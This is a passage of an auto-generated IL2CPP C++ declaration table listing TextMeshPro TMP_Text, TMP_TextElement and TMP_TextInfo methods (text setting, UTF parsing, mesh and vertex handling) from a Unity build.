extern void TMP_Text_UpdateMeshPadding_m1B9F1E66E3B3E3C305567E412328865A083CD430 (void);
// 0x0000055F System.Void TMPro.TMP_Text::CrossFadeColor(UnityEngine.Color,System.Single,System.Boolean,System.Boolean)
extern void TMP_Text_CrossFadeColor_mAB054E0720A156FC584B2D71878F6C24160FC07C (void);
// 0x00000560 System.Void TMPro.TMP_Text::CrossFadeAlpha(System.Single,System.Single,System.Boolean)
extern void TMP_Text_CrossFadeAlpha_mF4C9347458127DBC88C015AF4872486B7AB2E86E (void);
// 0x00000561 System.Void TMPro.TMP_Text::InternalCrossFadeColor(UnityEngine.Color,System.Single,System.Boolean,System.Boolean)
extern void TMP_Text_InternalCrossFadeColor_m217E640043CBDE6D81B948B138D5C9AB9B33CF71 (void);
// 0x00000562 System.Void TMPro.TMP_Text::InternalCrossFadeAlpha(System.Single,System.Single,System.Boolean)
extern void TMP_Text_InternalCrossFadeAlpha_m2E502349E3F0991FFA5D6D19FC6E14E3E9F89B53 (void);
// 0x00000563 System.Void TMPro.TMP_Text::ParseInputText()
extern void TMP_Text_ParseInputText_m3B4CF13CC0BF8E8A2B3980BD191A3B2FA421E36C (void);
// 0x00000564 System.Void TMPro.TMP_Text::PopulateTextBackingArray(System.String)
extern void TMP_Text_PopulateTextBackingArray_mFD376BD29DBC5157116653E031FA2BB8AD85CB8B (void);
// 0x00000565 System.Void TMPro.TMP_Text::PopulateTextBackingArray(System.String,System.Int32,System.Int32)
extern void TMP_Text_PopulateTextBackingArray_mDAFAFBA1D6EF883BBA870BEC34F4AFC52A8D4799 (void);
// 0x00000566 System.Void TMPro.TMP_Text::PopulateTextBackingArray(System.Text.StringBuilder,System.Int32,System.Int32)
extern void TMP_Text_PopulateTextBackingArray_m2DD1214AFFFF0214596222BCC5B759D0F8D48557 (void);
// 0x00000567 System.Void TMPro.TMP_Text::PopulateTextBackingArray(System.Char[],System.Int32,System.Int32)
extern void TMP_Text_PopulateTextBackingArray_mF50056377989BB902E9ECB7B8607BD5CAE2B9EC8 (void);
// 0x00000568 System.Void TMPro.TMP_Text::PopulateTextProcessingArray()
extern void TMP_Text_PopulateTextProcessingArray_m2D1F8D3CAE8F1F29242547BCCC91D1226FA9A6F0 (void);
// 0x00000569 System.Void TMPro.TMP_Text::SetTextInternal(System.String)
extern void TMP_Text_SetTextInternal_mE5AAC38C055046B9EE3228640DAFA627C5BDF924 (void);
// 0x0000056A System.Void TMPro.TMP_Text::SetText(System.String,System.Boolean)
extern void TMP_Text_SetText_m848189C290727009A95A00E432B66DFB2F2C3454 (void);
// 0x0000056B System.Void TMPro.TMP_Text::SetText(System.String,System.Single)
extern void TMP_Text_SetText_mC6973FFC60DB6A96B0C4253CD2FD9D0789ECC533 (void);
// 0x0000056C System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single)
extern void TMP_Text_SetText_m033947AEEEBDA12707E4B0535B4CCD7EB28B5F31 (void);
// 0x0000056D System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_m91C93245F1F0BD149D7E81A870B1E156EBB50DD7 (void);
// 0x0000056E System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_mA55E85AB5C2C2ECC55F91825828DD3CCF2173E80 (void);
// 0x0000056F System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_m8F8C230992A14AC54379698221FA40B5AD0250E3 (void);
// 0x00000570 System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_m888964CBEFDBE9D7788D25D8EA11D832B52CC739 (void);
// 0x00000571 System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_m8AF09C554904D1C1B0004879BA3A9F1C585CB41B (void);
// 0x00000572 System.Void TMPro.TMP_Text::SetText(System.String,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single)
extern void TMP_Text_SetText_m5093EBC3B7161E3775B6A6EA2F3E7C4FAA55814B (void);
// 0x00000573 System.Void TMPro.TMP_Text::SetText(System.Text.StringBuilder)
extern void TMP_Text_SetText_m229965F9267D1A1D825FF32828DDC9528A40F015 (void);
// 0x00000574 System.Void TMPro.TMP_Text::SetText(System.Text.StringBuilder,System.Int32,System.Int32)
extern void TMP_Text_SetText_mEFBC8BA593BB9B7A6F58BE8A1EF74F83E7B4CFF1 (void);
// 0x00000575 System.Void TMPro.TMP_Text::SetText(System.Char[])
extern void TMP_Text_SetText_m060E57CFB07010482FBDD53A653F0A61A4CDDE74 (void);
// 0x00000576 System.Void TMPro.TMP_Text::SetText(System.Char[],System.Int32,System.Int32)
extern void TMP_Text_SetText_mCF423F9A56990664E9711E71AEFB464987179AFF (void);
// 0x00000577 System.Void TMPro.TMP_Text::SetCharArray(System.Char[])
extern void TMP_Text_SetCharArray_mCCBCFF7608CA622F9A7E15E027662DB8561583B5 (void);
// 0x00000578 System.Void TMPro.TMP_Text::SetCharArray(System.Char[],System.Int32,System.Int32)
extern void TMP_Text_SetCharArray_mA6EC91F806E7B7B4BAF34317531083DEC6AAFD70 (void);
// 0x00000579 TMPro.TMP_Style TMPro.TMP_Text::GetStyle(System.Int32)
extern void TMP_Text_GetStyle_m556317F676C8A404F2BEEB1EA28AA188229D5886 (void);
// 0x0000057A System.Boolean TMPro.TMP_Text::ReplaceOpeningStyleTag(TMPro.TMP_Text/TextBackingContainer&,System.Int32,System.Int32&,TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_ReplaceOpeningStyleTag_m140CE17F312BBDE9A6F429F6976A6EAF22FBF7F7 (void);
// 0x0000057B System.Boolean TMPro.TMP_Text::ReplaceOpeningStyleTag(System.Int32[]&,System.Int32,System.Int32&,TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_ReplaceOpeningStyleTag_mFE4861A4A73DA7879121B8CFCEB051320E7C2B3A (void);
// 0x0000057C System.Void TMPro.TMP_Text::ReplaceClosingStyleTag(TMPro.TMP_Text/TextBackingContainer&,System.Int32,TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_ReplaceClosingStyleTag_m8F0A4C880ED8811B94472B9A122FEE3DF1CEA06C (void);
// 0x0000057D System.Void TMPro.TMP_Text::ReplaceClosingStyleTag(System.Int32[]&,System.Int32,TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_ReplaceClosingStyleTag_m930CFBC820CF701CCF4A92E8CC798640FD9E0009 (void);
// 0x0000057E System.Boolean TMPro.TMP_Text::InsertOpeningStyleTag(TMPro.TMP_Style,System.Int32,TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_InsertOpeningStyleTag_m7194E079B8619F42CF27B3AB2A9B0A9FE2AB14BC (void);
// 0x0000057F System.Void TMPro.TMP_Text::InsertClosingStyleTag(TMPro.TMP_Text/UnicodeChar[]&,System.Int32&)
extern void TMP_Text_InsertClosingStyleTag_m6AA7BC638D9F53B831DB2702256CFBFC25EA19AA (void);
// 0x00000580 System.Int32 TMPro.TMP_Text::GetMarkupTagHashCode(System.Int32[],System.Int32)
extern void TMP_Text_GetMarkupTagHashCode_mB8A6C6A1ED3D704ADBEA0E90FCEF722AB826CD7A (void);
// 0x00000581 System.Int32 TMPro.TMP_Text::GetMarkupTagHashCode(TMPro.TMP_Text/TextBackingContainer,System.Int32)
extern void TMP_Text_GetMarkupTagHashCode_mF2C6D3C0D954B1B17F584758FFACAAFA270B37BA (void);
// 0x00000582 System.Int32 TMPro.TMP_Text::GetStyleHashCode(System.Int32[]&,System.Int32,System.Int32&)
extern void TMP_Text_GetStyleHashCode_m834CA7ED28BF6377F7A42C654FAA748EB0D514D6 (void);
// 0x00000583 System.Int32 TMPro.TMP_Text::GetStyleHashCode(TMPro.TMP_Text/TextBackingContainer&,System.Int32,System.Int32&)
extern void TMP_Text_GetStyleHashCode_mB54D3FEFFCA8A40441A169AD140C1531A788C92F (void);
// 0x00000584 System.Void TMPro.TMP_Text::ResizeInternalArray(T[]&)
// 0x00000585 System.Void TMPro.TMP_Text::ResizeInternalArray(T[]&,System.Int32)
// 0x00000586 System.Void TMPro.TMP_Text::AddFloatToInternalTextBackingArray(System.Single,System.Int32,System.Int32,System.Int32&)
extern void TMP_Text_AddFloatToInternalTextBackingArray_m91003C38D80CE33F40B45FB30E6B90F2EC2B78AB (void);
// 0x00000587 System.Void TMPro.TMP_Text::AddIntegerToInternalTextBackingArray(System.Double,System.Int32,System.Int32&)
extern void TMP_Text_AddIntegerToInternalTextBackingArray_m0C9B986C866F3CD9D1424E44F57B281EDAB7DE92 (void);
// 0x00000588 System.String TMPro.TMP_Text::InternalTextBackingArrayToString()
extern void TMP_Text_InternalTextBackingArrayToString_m7E70067C4FF555AFF7D95718141ADA0794EF37B5 (void);
// 0x00000589 System.Int32 TMPro.TMP_Text::SetArraySizes(TMPro.TMP_Text/UnicodeChar[])
extern void TMP_Text_SetArraySizes_mAD14AE87D71586E0D4BEAFC6C89347FE02E33FE2 (void);
// 0x0000058A UnityEngine.Vector2 TMPro.TMP_Text::GetPreferredValues()
extern void TMP_Text_GetPreferredValues_mE55DE48997CA56E867C94ABF8873D1CA413ADAA8 (void);
// 0x0000058B UnityEngine.Vector2 TMPro.TMP_Text::GetPreferredValues(System.Single,System.Single)
extern void TMP_Text_GetPreferredValues_m1F06F3D203FD8F13D0335F697E839E5DAA61DD14 (void);
// 0x0000058C UnityEngine.Vector2 TMPro.TMP_Text::GetPreferredValues(System.String)
extern void TMP_Text_GetPreferredValues_m398215E34C2F85F6073BB4FFAD99E077319B2726 (void);
// 0x0000058D UnityEngine.Vector2 TMPro.TMP_Text::GetPreferredValues(System.String,System.Single,System.Single)
extern void TMP_Text_GetPreferredValues_m3FAA12BB95111827B71EBDE6B3B3F59EE4EA0C2C (void);
// 0x0000058E System.Single TMPro.TMP_Text::GetPreferredWidth()
extern void TMP_Text_GetPreferredWidth_m0478A5C6B1B1C3A4A64C5BF89401B2A33A192F5C (void);
// 0x0000058F System.Single TMPro.TMP_Text::GetPreferredWidth(UnityEngine.Vector2)
extern void TMP_Text_GetPreferredWidth_m51F52DCBCDF0AA45D5F6F1031D15560948E08C16 (void);
// 0x00000590 System.Single TMPro.TMP_Text::GetPreferredHeight()
extern void TMP_Text_GetPreferredHeight_mD8B87C32069B477E010E30D33CB616854CE708B4 (void);
// 0x00000591 System.Single TMPro.TMP_Text::GetPreferredHeight(UnityEngine.Vector2)
extern void TMP_Text_GetPreferredHeight_m6DD3E52AA402B1D6DC3D18F8760E0B89436F97CF (void);
// 0x00000592 UnityEngine.Vector2 TMPro.TMP_Text::GetRenderedValues()
extern void TMP_Text_GetRenderedValues_m758F7ECA29F67E1E7E782336B2CAD7B04EEB9222 (void);
// 0x00000593 UnityEngine.Vector2 TMPro.TMP_Text::GetRenderedValues(System.Boolean)
extern void TMP_Text_GetRenderedValues_m08075C102D6F4332871ECF6D818664B6170B1374 (void);
// 0x00000594 System.Single TMPro.TMP_Text::GetRenderedWidth()
extern void TMP_Text_GetRenderedWidth_mCCCE790E25FD4C17B55DBE153663D8024B458EDF (void);
// 0x00000595 System.Single TMPro.TMP_Text::GetRenderedWidth(System.Boolean)
extern void TMP_Text_GetRenderedWidth_m73C7A4A74971381580735209DD14A2CCCC9E3281 (void);
// 0x00000596 System.Single TMPro.TMP_Text::GetRenderedHeight()
extern void TMP_Text_GetRenderedHeight_m7BEF1FB09209779C3D70185491FBC6E90A71214C (void);
// 0x00000597 System.Single TMPro.TMP_Text::GetRenderedHeight(System.Boolean)
extern void TMP_Text_GetRenderedHeight_m64D7F5014A10FFF692DED07E7619674F30D3B099 (void);
// 0x00000598 UnityEngine.Vector2 TMPro.TMP_Text::CalculatePreferredValues(System.Single&,UnityEngine.Vector2,System.Boolean,System.Boolean)
extern void TMP_Text_CalculatePreferredValues_mFC2117C2481613AF4CD0FE52E9C7162D4EB31C2A (void);
// 0x00000599 UnityEngine.Bounds TMPro.TMP_Text::GetCompoundBounds()
extern void TMP_Text_GetCompoundBounds_mF60F723948DF048E702AAB62F9408FAD30A1DBF2 (void);
// 0x0000059A UnityEngine.Rect TMPro.TMP_Text::GetCanvasSpaceClippingRect()
extern void TMP_Text_GetCanvasSpaceClippingRect_m7C7869D4D77FBFFD707A3846A29792EB48B5D64F (void);
// 0x0000059B UnityEngine.Bounds TMPro.TMP_Text::GetTextBounds()
extern void TMP_Text_GetTextBounds_m9B8ADDB3EE48C956CF9D61DA303B21D5EA32081A (void);
// 0x0000059C UnityEngine.Bounds TMPro.TMP_Text::GetTextBounds(System.Boolean)
extern void TMP_Text_GetTextBounds_m26FEA0CD67904DA57ABE718926102EEFCD374BF1 (void);
// 0x0000059D System.Void TMPro.TMP_Text::AdjustLineOffset(System.Int32,System.Int32,System.Single)
extern void TMP_Text_AdjustLineOffset_m52F6B152C307D094A146CA506C23704DD425218D (void);
// 0x0000059E System.Void TMPro.TMP_Text::ResizeLineExtents(System.Int32)
extern void TMP_Text_ResizeLineExtents_mD9792BED7C93557CF2A93C604497729729CCBC66 (void);
// 0x0000059F TMPro.TMP_TextInfo TMPro.TMP_Text::GetTextInfo(System.String)
extern void TMP_Text_GetTextInfo_m229923ABD01B6275D27C7BE608D316A1C4F623E7 (void);
// 0x000005A0 System.Void TMPro.TMP_Text::ComputeMarginSize()
extern void TMP_Text_ComputeMarginSize_mB8DA02298390E7D183460D39B765158D5B4C4C0B (void);
// 0x000005A1 System.Void TMPro.TMP_Text::InsertNewLine(System.Int32,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Single,System.Boolean&,System.Single&)
extern void TMP_Text_InsertNewLine_m2FB79A0D3C653AF608C8C6C9B56BC78AD696CE85 (void);
// 0x000005A2 System.Void TMPro.TMP_Text::SaveWordWrappingState(TMPro.WordWrapState&,System.Int32,System.Int32)
extern void TMP_Text_SaveWordWrappingState_m89FFAEE3796170C90F8EDBA696E4A14884A56650 (void);
// 0x000005A3 System.Int32 TMPro.TMP_Text::RestoreWordWrappingState(TMPro.WordWrapState&)
extern void TMP_Text_RestoreWordWrappingState_mB126C83C447A92E11F6AC19C2BBBD923C74D8FCA (void);
// 0x000005A4 System.Void TMPro.TMP_Text::SaveGlyphVertexInfo(System.Single,System.Single,UnityEngine.Color32)
extern void TMP_Text_SaveGlyphVertexInfo_mFFB0B3A7B1DBA2EE3F4116DB0AD2D7BA2A7BADBE (void);
// 0x000005A5 System.Void TMPro.TMP_Text::SaveSpriteVertexInfo(UnityEngine.Color32)
extern void TMP_Text_SaveSpriteVertexInfo_mB11F4EA9C81BF4C58707941D616151EE6CD2BAC3 (void);
// 0x000005A6 System.Void TMPro.TMP_Text::FillCharacterVertexBuffers(System.Int32,System.Int32)
extern void TMP_Text_FillCharacterVertexBuffers_m4C17C2D2386E31401B012982171D0AB7E239B4EE (void);
// 0x000005A7 System.Void TMPro.TMP_Text::FillCharacterVertexBuffers(System.Int32,System.Int32,System.Boolean)
extern void TMP_Text_FillCharacterVertexBuffers_mA8074BF6121C6716C641EB322E501BCFCE3CFB25 (void);
// 0x000005A8 System.Void TMPro.TMP_Text::FillSpriteVertexBuffers(System.Int32,System.Int32)
extern void TMP_Text_FillSpriteVertexBuffers_m7B3035DA24821F84AE49946ABEF06D0A2A87143B (void);
// 0x000005A9 System.Void TMPro.TMP_Text::DrawUnderlineMesh(UnityEngine.Vector3,UnityEngine.Vector3,System.Int32&,System.Single,System.Single,System.Single,System.Single,UnityEngine.Color32)
extern void TMP_Text_DrawUnderlineMesh_m9A89FEC9730C4C234A06A090CEDD2338C351E3F3 (void);
// 0x000005AA System.Void TMPro.TMP_Text::DrawTextHighlight(UnityEngine.Vector3,UnityEngine.Vector3,System.Int32&,UnityEngine.Color32)
extern void TMP_Text_DrawTextHighlight_m328E45B989DA4EC8754CC437EACC79D8D0A7F327 (void);
// 0x000005AB System.Void TMPro.TMP_Text::LoadDefaultSettings()
extern void TMP_Text_LoadDefaultSettings_m529A22FF5A03DA761B775E3EABAF5EC6D122404A (void);
// 0x000005AC System.Void TMPro.TMP_Text::GetSpecialCharacters(TMPro.TMP_FontAsset)
extern void TMP_Text_GetSpecialCharacters_mE903DAAA333AFF79BE23404C0E530BF2F974F86E (void);
// 0x000005AD System.Void TMPro.TMP_Text::GetEllipsisSpecialCharacter(TMPro.TMP_FontAsset)
extern void TMP_Text_GetEllipsisSpecialCharacter_mAB1E3B988E1169235AEC26DC0EC29B993FDF4735 (void);
// 0x000005AE System.Void TMPro.TMP_Text::GetUnderlineSpecialCharacter(TMPro.TMP_FontAsset)
extern void TMP_Text_GetUnderlineSpecialCharacter_m52EA407A41AABE20FE8888C6E94BB70EF0E82CE1 (void);
// 0x000005AF System.Void TMPro.TMP_Text::ReplaceTagWithCharacter(System.Int32[],System.Int32,System.Int32,System.Char)
extern void TMP_Text_ReplaceTagWithCharacter_m27550FAAA0F89BCBF7E6ABF7E52888B04C92AFBF (void);
// 0x000005B0 TMPro.TMP_FontAsset TMPro.TMP_Text::GetFontAssetForWeight(System.Int32)
extern void TMP_Text_GetFontAssetForWeight_m8CAC4978C3092AE62D5354BE0D579E1985F84323 (void);
// 0x000005B1 TMPro.TMP_TextElement TMPro.TMP_Text::GetTextElement(System.UInt32,TMPro.TMP_FontAsset,TMPro.FontStyles,TMPro.FontWeight,System.Boolean&)
extern void TMP_Text_GetTextElement_mA9AC208C5F6080ADB94B84638ABFCB28124E889C (void);
// 0x000005B2 System.Void TMPro.TMP_Text::SetActiveSubMeshes(System.Boolean)
extern void TMP_Text_SetActiveSubMeshes_mE3867037AB040A083339828CEA98FFC7D81758FE (void);
// 0x000005B3 System.Void TMPro.TMP_Text::DestroySubMeshObjects()
extern void TMP_Text_DestroySubMeshObjects_m7FFA3E35D4B393CC01847424F2F5C77416C1F8B3 (void);
// 0x000005B4 System.Void TMPro.TMP_Text::ClearMesh()
extern void TMP_Text_ClearMesh_m3A40E9A07ABE32A911001625A4DE8F80353ECF8F (void);
// 0x000005B5 System.Void TMPro.TMP_Text::ClearMesh(System.Boolean)
extern void TMP_Text_ClearMesh_m5E212AB7BAA3D3F6A84AF20D0D4C1AE72985F329 (void);
// 0x000005B6 System.String TMPro.TMP_Text::GetParsedText()
extern void TMP_Text_GetParsedText_m0C3CD267431DA477842729B36C6C80D7296D4C65 (void);
// 0x000005B7 System.Boolean TMPro.TMP_Text::IsSelfOrLinkedAncestor(TMPro.TMP_Text)
extern void TMP_Text_IsSelfOrLinkedAncestor_m81351987CC1F547B1E7A0EDE1109F5EF596A8F76 (void);
// 0x000005B8 System.Void TMPro.TMP_Text::ReleaseLinkedTextComponent(TMPro.TMP_Text)
extern void TMP_Text_ReleaseLinkedTextComponent_mBFBB0BB0702503E5492FE5CDC94164363A139696 (void);
// 0x000005B9 UnityEngine.Vector2 TMPro.TMP_Text::PackUV(System.Single,System.Single,System.Single)
extern void TMP_Text_PackUV_m6B919A58FF6988F660ACE59AA97910B31D577905 (void);
// 0x000005BA System.Single TMPro.TMP_Text::PackUV(System.Single,System.Single)
extern void TMP_Text_PackUV_m66B8E7066DC310AC67BA1FE63494D1A3BA726A00 (void);
// 0x000005BB System.Void TMPro.TMP_Text::InternalUpdate()
extern void TMP_Text_InternalUpdate_mD5C4F3ADB7909023ADCED1033A6EE0D15AAC1781 (void);
// 0x000005BC System.Int32 TMPro.TMP_Text::HexToInt(System.Char)
extern void TMP_Text_HexToInt_m608FA8E451B2D296D60F096CB890714F72C5596B (void);
// 0x000005BD System.Int32 TMPro.TMP_Text::GetUTF16(System.String,System.Int32)
extern void TMP_Text_GetUTF16_m6A920DAFDD9869F0847B5C3F5B646EBFF4364B38 (void);
// 0x000005BE System.Int32 TMPro.TMP_Text::GetUTF16(System.Int32[],System.Int32)
extern void TMP_Text_GetUTF16_m5DCD9865CEC393DE526550744D2F17448FFFB031 (void);
// 0x000005BF System.Int32 TMPro.TMP_Text::GetUTF16(System.UInt32[],System.Int32)
extern void TMP_Text_GetUTF16_m75142BDA9CD0E09E00079D51807092CDA41AB293 (void);
// 0x000005C0 System.Int32 TMPro.TMP_Text::GetUTF16(System.Text.StringBuilder,System.Int32)
extern void TMP_Text_GetUTF16_m1A6DF3361330C4A1930A8CED3EE9AB1A661FBB69 (void);
// 0x000005C1 System.Int32 TMPro.TMP_Text::GetUTF16(TMPro.TMP_Text/TextBackingContainer,System.Int32)
extern void TMP_Text_GetUTF16_m6B311F8F9A6775761D65E56B3A14D4300694018C (void);
// 0x000005C2 System.Int32 TMPro.TMP_Text::GetUTF32(System.String,System.Int32)
extern void TMP_Text_GetUTF32_m0AEBD15BD012872CA6305D7BA0C481FDA82AAC25 (void);
// 0x000005C3 System.Int32 TMPro.TMP_Text::GetUTF32(System.Int32[],System.Int32)
extern void TMP_Text_GetUTF32_m5417B3BA725A8B5C3EAD1AB1C8704DCAA7D8112E (void);
// 0x000005C4 System.Int32 TMPro.TMP_Text::GetUTF32(System.UInt32[],System.Int32)
extern void TMP_Text_GetUTF32_m36AC6F004482AD41D7A6E02C3661FB84CA49C939 (void);
// 0x000005C5 System.Int32 TMPro.TMP_Text::GetUTF32(System.Text.StringBuilder,System.Int32)
extern void TMP_Text_GetUTF32_mC701D13B98BB4F3EDA7BA77D2FEC84B957DF055D (void);
// 0x000005C6 System.Int32 TMPro.TMP_Text::GetUTF32(TMPro.TMP_Text/TextBackingContainer,System.Int32)
extern void TMP_Text_GetUTF32_m8969A7CF25219B3D95051380B0BF81E36515FA8B (void);
// 0x000005C7 UnityEngine.Color32 TMPro.TMP_Text::HexCharsToColor(System.Char[],System.Int32)
extern void TMP_Text_HexCharsToColor_mFF3D804C9D8FA7A297DE7D2FDD8ACAF56F3AE41F (void);
// 0x000005C8 UnityEngine.Color32 TMPro.TMP_Text::HexCharsToColor(System.Char[],System.Int32,System.Int32)
extern void TMP_Text_HexCharsToColor_mAB24870B76767E96CBCE96AF48D78744FBAEA2E7 (void);
// 0x000005C9 System.Int32 TMPro.TMP_Text::GetAttributeParameters(System.Char[],System.Int32,System.Int32,System.Single[]&)
extern void TMP_Text_GetAttributeParameters_mA3AE2EA072B750B11D4FA5FB08F3026062B3CB5E (void);
// 0x000005CA System.Single TMPro.TMP_Text::ConvertToFloat(System.Char[],System.Int32,System.Int32)
extern void TMP_Text_ConvertToFloat_m8C77647DEB5B96F427BA09AFC56A902F3C812D09 (void);
// 0x000005CB System.Single TMPro.TMP_Text::ConvertToFloat(System.Char[],System.Int32,System.Int32,System.Int32&)
extern void TMP_Text_ConvertToFloat_m3A00B254D2DEC8796A64339BF2370E2FF0A76869 (void);
// 0x000005CC System.Boolean TMPro.TMP_Text::ValidateHtmlTag(TMPro.TMP_Text/UnicodeChar[],System.Int32,System.Int32&)
extern void TMP_Text_ValidateHtmlTag_mCA56FCCE3DC46EF51927B96CD7F91B1097A0EEBA (void);
// 0x000005CD System.Void TMPro.TMP_Text::.ctor()
extern void TMP_Text__ctor_m9E1AC8762428FEF98646584351299FFF499B823C (void);
// 0x000005CE System.Void TMPro.TMP_Text::.cctor()
extern void TMP_Text__cctor_mE05E857702711C994EC0FC19B6502375F349B1FC (void);
// 0x000005CF System.Void TMPro.TMP_Text/CharacterSubstitution::.ctor(System.Int32,System.UInt32)
extern void CharacterSubstitution__ctor_m5727A2342B980E68CA8CA895437F82280B5E4378 (void);
// 0x000005D0 System.Void TMPro.TMP_Text/SpecialCharacter::.ctor(TMPro.TMP_Character,System.Int32)
extern void SpecialCharacter__ctor_m6EA478027143EA28D3A52D1E020B95B9286824FF (void);
// 0x000005D1 System.Int32 TMPro.TMP_Text/TextBackingContainer::get_Capacity()
extern void TextBackingContainer_get_Capacity_m314198D61452DF6CAB895C2BF8D1C0829C579F9C (void);
// 0x000005D2 System.Int32 TMPro.TMP_Text/TextBackingContainer::get_Count()
extern void TextBackingContainer_get_Count_mA4E440D40E9EECB361CE4697B11F9B017B19E0C1 (void);
// 0x000005D3 System.Void TMPro.TMP_Text/TextBackingContainer::set_Count(System.Int32)
extern void TextBackingContainer_set_Count_m3833989ADDB6C436DFB7A8979080FF5F2A411F19 (void);
// 0x000005D4 System.UInt32 TMPro.TMP_Text/TextBackingContainer::get_Item(System.Int32)
extern void TextBackingContainer_get_Item_mA0E8BB3275942C3B08087D7E27914F436370C276 (void);
// 0x000005D5 System.Void TMPro.TMP_Text/TextBackingContainer::set_Item(System.Int32,System.UInt32)
extern void TextBackingContainer_set_Item_mF263D268B2D3185D818FD470F86FC8C53DD42381 (void);
// 0x000005D6 System.Void TMPro.TMP_Text/TextBackingContainer::.ctor(System.Int32)
extern void TextBackingContainer__ctor_m28ABE283E7734CCAFCB78E5C71E817D495C1699D (void);
// 0x000005D7 System.Void TMPro.TMP_Text/TextBackingContainer::Resize(System.Int32)
extern void TextBackingContainer_Resize_m669CEE085664D77F581761A5888EEF20E095F752 (void);
// 0x000005D8 System.Void TMPro.TMP_Text/<>c::.cctor()
extern void U3CU3Ec__cctor_mC12E6E74C14B48C2E6A7BCDFD060663C8418A0C6 (void);
// 0x000005D9 System.Void TMPro.TMP_Text/<>c::.ctor()
extern void U3CU3Ec__ctor_mB6F7B455BB3E880F27BB5E26F8D49389333F84E1 (void);
// 0x000005DA System.Void TMPro.TMP_Text/<>c::<.ctor>b__622_0(TMPro.TMP_TextInfo)
extern void U3CU3Ec_U3C_ctorU3Eb__622_0_m4ADE4CF5BF5DB0476C27555136DB926EB976EEFE (void);
// 0x000005DB TMPro.TextElementType TMPro.TMP_TextElement::get_elementType()
extern void TMP_TextElement_get_elementType_m932830311118A83F12EA542C3B7C03C7B1437EB3 (void);
// 0x000005DC System.UInt32 TMPro.TMP_TextElement::get_unicode()
extern void TMP_TextElement_get_unicode_mF963B03CCA673335FB682EBDD1CFF86F0DB8539F (void);
// 0x000005DD System.Void TMPro.TMP_TextElement::set_unicode(System.UInt32)
extern void TMP_TextElement_set_unicode_m5DDC85416E46FEB989F4924ED4E1C8BABDE09AA0 (void);
// 0x000005DE TMPro.TMP_Asset TMPro.TMP_TextElement::get_textAsset()
extern void TMP_TextElement_get_textAsset_m3FFA01E6D0068D1F8F578CBF2590A752683A61EA (void);
// 0x000005DF System.Void TMPro.TMP_TextElement::set_textAsset(TMPro.TMP_Asset)
extern void TMP_TextElement_set_textAsset_m046A7EF50875FC30233B8CB06D4A5138FB63C4E1 (void);
// 0x000005E0 UnityEngine.TextCore.Glyph TMPro.TMP_TextElement::get_glyph()
extern void TMP_TextElement_get_glyph_mB86D5107DDF4ADB051309056E876FEAE843E3D07 (void);
// 0x000005E1 System.Void TMPro.TMP_TextElement::set_glyph(UnityEngine.TextCore.Glyph)
extern void TMP_TextElement_set_glyph_m29945C7CDA0F0F2429D3000A9376B4B5177A23BD (void);
// 0x000005E2 System.UInt32 TMPro.TMP_TextElement::get_glyphIndex()
extern void TMP_TextElement_get_glyphIndex_m149D0BB0350CFC7D3C46CA011669295DC8CF8E9E (void);
// 0x000005E3 System.Void TMPro.TMP_TextElement::set_glyphIndex(System.UInt32)
extern void TMP_TextElement_set_glyphIndex_mD2D21A9AD7EF332ABE56C52031E03CB5570C2FD3 (void);
// 0x000005E4 System.Single TMPro.TMP_TextElement::get_scale()
extern void TMP_TextElement_get_scale_m23102716AD6E67BB03C2893983B105E8B425FE14 (void);
// 0x000005E5 System.Void TMPro.TMP_TextElement::set_scale(System.Single)
extern void TMP_TextElement_set_scale_mB753D739067A2DF395673D5C6B01E30B74B35362 (void);
// 0x000005E6 System.Void TMPro.TMP_TextElement::.ctor()
extern void TMP_TextElement__ctor_m17ECA25C496E92124412C4B48665D75EE848AF83 (void);
// 0x000005E7 System.Void TMPro.TMP_TextElement_Legacy::.ctor()
extern void TMP_TextElement_Legacy__ctor_m662C0DC5276E1A91D27923DA266C23D825949787 (void);
// 0x000005E8 System.Void TMPro.TMP_TextInfo::.ctor()
extern void TMP_TextInfo__ctor_m3676CC349997AD7A21E043DB9938502FAAB87578 (void);
// 0x000005E9 System.Void TMPro.TMP_TextInfo::.ctor(System.Int32)
extern void TMP_TextInfo__ctor_m8E0E818004F0B2A107DC7CB7DA5753DC67496263 (void);
// 0x000005EA System.Void TMPro.TMP_TextInfo::.ctor(TMPro.TMP_Text)
extern void TMP_TextInfo__ctor_m3F285FBF2EA3C9CF7B75EA3C1AB8CB66D37B4B4C (void);
// 0x000005EB System.Void TMPro.TMP_TextInfo::Clear()
extern void TMP_TextInfo_Clear_m288FFE54C6744C369E9B2BA903A634F461721D70 (void);
// 0x000005EC System.Void TMPro.TMP_TextInfo::ClearAllData()
extern void TMP_TextInfo_ClearAllData_m8DCD1E84BDCA57F35235847D1DC8F3758BF265AB (void);
// 0x000005ED System.Void TMPro.TMP_TextInfo::ClearMeshInfo(System.Boolean)
extern void TMP_TextInfo_ClearMeshInfo_m0FBBA8965BED7D2907087B746F87B28A1956962A (void);
// 0x000005EE System.Void TMPro.TMP_TextInfo::ClearAllMeshInfo()
extern void TMP_TextInfo_ClearAllMeshInfo_mC1F838D304E7F57366F2BB6D671D9E855D48AFFE (void);
// 0x000005EF System.Void TMPro.TMP_TextInfo::ResetVertexLayout(System.Boolean)
extern void TMP_TextInfo_ResetVertexLayout_mDD6C8111384A819DDD015F66567A69C97C4F74E2 (void);
// 0x000005F0 System.Void TMPro.TMP_TextInfo::ClearUnusedVertices(TMPro.MaterialReference[])
